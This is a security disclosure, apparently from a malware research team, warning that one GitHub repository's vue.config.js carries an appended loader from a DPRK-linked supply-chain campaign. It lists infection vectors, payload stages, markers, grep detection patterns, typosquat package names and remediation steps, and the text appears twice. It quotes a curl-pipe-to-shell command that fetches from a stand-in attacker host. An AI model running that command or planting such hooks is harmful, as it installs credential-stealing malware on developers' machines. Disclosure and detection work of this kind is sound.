Security Disclosure: This repository has been compromised
The repository khaliduddin/egg-picker has been identified as carrying the PolinRider payload — a confirmed DPRK-linked (Lazarus / Contagious Interview cluster) supply-chain attack that has compromised 1,951 GitHub repositories belonging to 1,047 owners as of April 2026.
This is not spam. This disclosure is from the OpenSourceMalware.com research team. Full writeup: PolinRider Rides Again (2026-04-11).
Where the malware is in your repository
We found the PolinRider obfuscated JavaScript loader in the following file(s):
vue.config.js — contains global['_V'] marker (6,378 bytes). The malicious loader has been appended after the legitimate config export.
The loader has been appended to a config file so that it runs every time any developer installs or builds your project (e.g. npm install, npm run build, any Next.js / Vite / Webpack tooling that imports the config). Anyone who has cloned your repo since the compromise date and run standard tooling against it should be treated as a potential victim.
How the PolinRider attack works
PolinRider is a DPRK / Lazarus-aligned supply chain campaign that merges the previously-separate TasksJacker and Contagious Interview clusters. It uses four known infection vectors, any of which can land the same obfuscated JavaScript loader on a developer's machine:
- Malicious npm package ⟶ config-file injection. The attackers publish typosquats of
tailwindcss-animate and similar plugins (e.g. tailwindcss-style-animate, tailwind-mainanimation, tailwindcss-typography-style). When npm install-ed, the postinstall hook appends obfuscated JavaScript after export default / module.exports in postcss.config.mjs, tailwind.config.js, eslint.config.mjs, next.config.mjs, babel.config.js, and similar config files. This is the vector that compromised your repo.
.vscode/tasks.json curl-pipe-to-shell. A runOn: folderOpen task executes curl https://<attacker>.vercel.app/settings/mac | sh the instant the victim opens the project in VS Code.
- Fake
.woff2 fonts. Malicious JavaScript is hidden inside files named like public/fonts/fa-solid-400.woff2 so security tooling skips them as binary assets. Executed via Node from another entry point.
- Weaponized fake take-home tests (Contagious Interview). The attackers run fake recruiters offering fake "developer interview" take-home projects (confirmed templates:
ShoeVista and StakingGame) that bundle one of the above vectors as their build dependencies.
What the payload does once it runs
The injected JavaScript is a 4-layer shuffle-cipher loader. When executed (e.g. during npm install or npm run build):
- Stage 1 — Decrypt and fetch. Layer-by-layer decodes itself using two hardcoded XOR keys, then reaches out to blockchain dead drops on TRON, Aptos, and BSC (e.g.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) to fetch the encrypted second stage. Blockchain storage is used because it can't be taken down.
- Stage 2 — Beavertail loader. A known Lazarus-family JavaScript stager that fingerprints the host OS (macOS / Linux / Windows) and selects the OS-specific third stage.
- Stage 3 — InvisibleFerret. A cross-platform RAT that steals:
- Browser credentials and session cookies (Chrome, Firefox, Edge, Brave, Arc)
- SSH private keys and
~/.ssh/authorized_keys
- Environment variables (AWS / GCP / npm / GitHub tokens)
- Cryptocurrency wallet files (MetaMask, Phantom, Keplr, native
.wallet files)
- Shell history, clipboard contents, and keystrokes (Windows variant)
- Stage 4 — Cover tracks. On Windows, a script called
temp_auto_push.bat rewrites the most recent git commit to preserve its original timestamp, bypasses pre-commit hooks, and force-pushes — making the compromise look like a normal commit in the git log.
Known markers (so you can verify)
| Marker |
Where it appears |
Variant |
rmcej%otb% |
string literal inside the loader |
original |
_$_1e42 |
decoder function name |
original |
global['!'] |
global slot used by decoder |
original |
Cot%3t=shtP |
string literal inside the loader |
new (April 2026) |
function MDy(f) |
decoder function name |
new |
global['_V'] |
global slot used by decoder |
new |
LAST_COMMIT_DATE in a .bat file |
propagation / cover-tracks |
both |
temp_auto_push.bat at repo root |
propagation / cover-tracks |
both |
Scale of the campaign
|
|
| Confirmed compromised repos (April 2026) |
1,951 |
| Unique repo owners affected |
1,047 |
| False-positive rate (random-sample verification) |
0 / 44 |
| Distinct infection vectors |
4 |
| Distinct C2 subdomains on Vercel |
6+ |
| Distinct obfuscator variants |
2 (rotated April 2026) |
Immediate remediation steps
- Identify every file in your repo that matches any of the markers above:
grep -rE "rmcej%otb%|_\$_1e42|global\['!'\]|Cot%3t=shtP|function MDy|global\['_V'\]" . \
--include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'
find . \( -name 'temp_auto_push.bat' -o -name 'config.bat' \)
find . \( -name '*.woff' -o -name '*.woff2' \) -exec sh -c \
'file "$1" | grep -q "JavaScript\|ASCII text" && echo "SUSPICIOUS: $1"' _ {} \;
- Remove the injected code from each affected file. For PostCSS / Tailwind / ESLint configs, the malicious code has been appended after
export default / module.exports — delete everything after the legitimate config object.
- Force-push to rewrite history so the malicious commits are no longer reachable on the default branch. Consider rotating the branch protection rules if any commits were merged through them.
- Rotate every credential that was present on any machine that ran
npm install / npm run build against this repo since the compromise date. This includes: GitHub PATs, SSH keys, .env contents, AWS / GCP / npm tokens, signing keys, browser password-store entries, crypto-wallet seed phrases.
- Scan your own machine for InvisibleFerret artifacts. On Windows: look for unexpected scheduled tasks, registry
Run keys, and processes matching known InvisibleFerret signatures. On macOS/Linux: check ~/.ssh/authorized_keys, crontab, launchd agents / systemd user services, and shell history for entries you don't recognize.
- Check your
package.json for any of the known malicious typosquats:
tailwindcss-style-animate, tailwind-mainanimation, tailwind-autoanimation,
tailwind-animationbased, tailwindcss-typography-style, tailwindcss-style-modify,
tailwindcss-animate-style
Remove any that appear. Clear node_modules and package-lock.json and reinstall from clean dependencies only.
- Re-scan your whole project tree with the OSM scanner:
git clone https://github.com/OpenSourceMalware/PolinRider
cd PolinRider && chmod +x polinrider-scanner.sh
./polinrider-scanner.sh ~/projects
Further reading
Disclosed by the OpenSourceMalware.com research team.
Security Disclosure: This repository has been compromised
The repository khaliduddin/egg-picker has been identified as carrying the PolinRider payload — a confirmed DPRK-linked (Lazarus / Contagious Interview cluster) supply-chain attack that has compromised 1,951 GitHub repositories belonging to 1,047 owners as of April 2026.
This is not spam. This disclosure is from the OpenSourceMalware.com research team. Full writeup: PolinRider Rides Again (2026-04-11).
Where the malware is in your repository
We found the PolinRider obfuscated JavaScript loader in the following file(s):
vue.config.js— containsglobal['_V']marker (6,378 bytes). The malicious loader has been appended after the legitimate config export.The loader has been appended to a config file so that it runs every time any developer installs or builds your project (e.g.
npm install,npm run build, any Next.js / Vite / Webpack tooling that imports the config). Anyone who has cloned your repo since the compromise date and run standard tooling against it should be treated as a potential victim.How the PolinRider attack works
PolinRider is a DPRK / Lazarus-aligned supply chain campaign that merges the previously-separate TasksJacker and Contagious Interview clusters. It uses four known infection vectors, any of which can land the same obfuscated JavaScript loader on a developer's machine:
tailwindcss-animateand similar plugins (e.g.tailwindcss-style-animate,tailwind-mainanimation,tailwindcss-typography-style). Whennpm install-ed, the postinstall hook appends obfuscated JavaScript afterexport default/module.exportsinpostcss.config.mjs,tailwind.config.js,eslint.config.mjs,next.config.mjs,babel.config.js, and similar config files. This is the vector that compromised your repo..vscode/tasks.jsoncurl-pipe-to-shell. ArunOn: folderOpentask executescurl https://<attacker>.vercel.app/settings/mac | shthe instant the victim opens the project in VS Code..woff2fonts. Malicious JavaScript is hidden inside files named likepublic/fonts/fa-solid-400.woff2so security tooling skips them as binary assets. Executed via Node from another entry point.ShoeVistaandStakingGame) that bundle one of the above vectors as their build dependencies.What the payload does once it runs
The injected JavaScript is a 4-layer shuffle-cipher loader. When executed (e.g. during
npm installornpm run build):TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) to fetch the encrypted second stage. Blockchain storage is used because it can't be taken down.~/.ssh/authorized_keys.walletfiles)temp_auto_push.batrewrites the most recent git commit to preserve its original timestamp, bypasses pre-commit hooks, and force-pushes — making the compromise look like a normal commit in thegit log.Known markers (so you can verify)
rmcej%otb%_$_1e42global['!']Cot%3t=shtPfunction MDy(f)global['_V']LAST_COMMIT_DATEin a.batfiletemp_auto_push.batat repo rootScale of the campaign
Immediate remediation steps
export default/module.exports— delete everything after the legitimate config object.npm install/npm run buildagainst this repo since the compromise date. This includes: GitHub PATs, SSH keys,.envcontents, AWS / GCP / npm tokens, signing keys, browser password-store entries, crypto-wallet seed phrases.Runkeys, and processes matching known InvisibleFerret signatures. On macOS/Linux: check~/.ssh/authorized_keys, crontab, launchd agents / systemd user services, and shell history for entries you don't recognize.package.jsonfor any of the known malicious typosquats:node_modulesandpackage-lock.jsonand reinstall from clean dependencies only.Further reading
Disclosed by the OpenSourceMalware.com research team.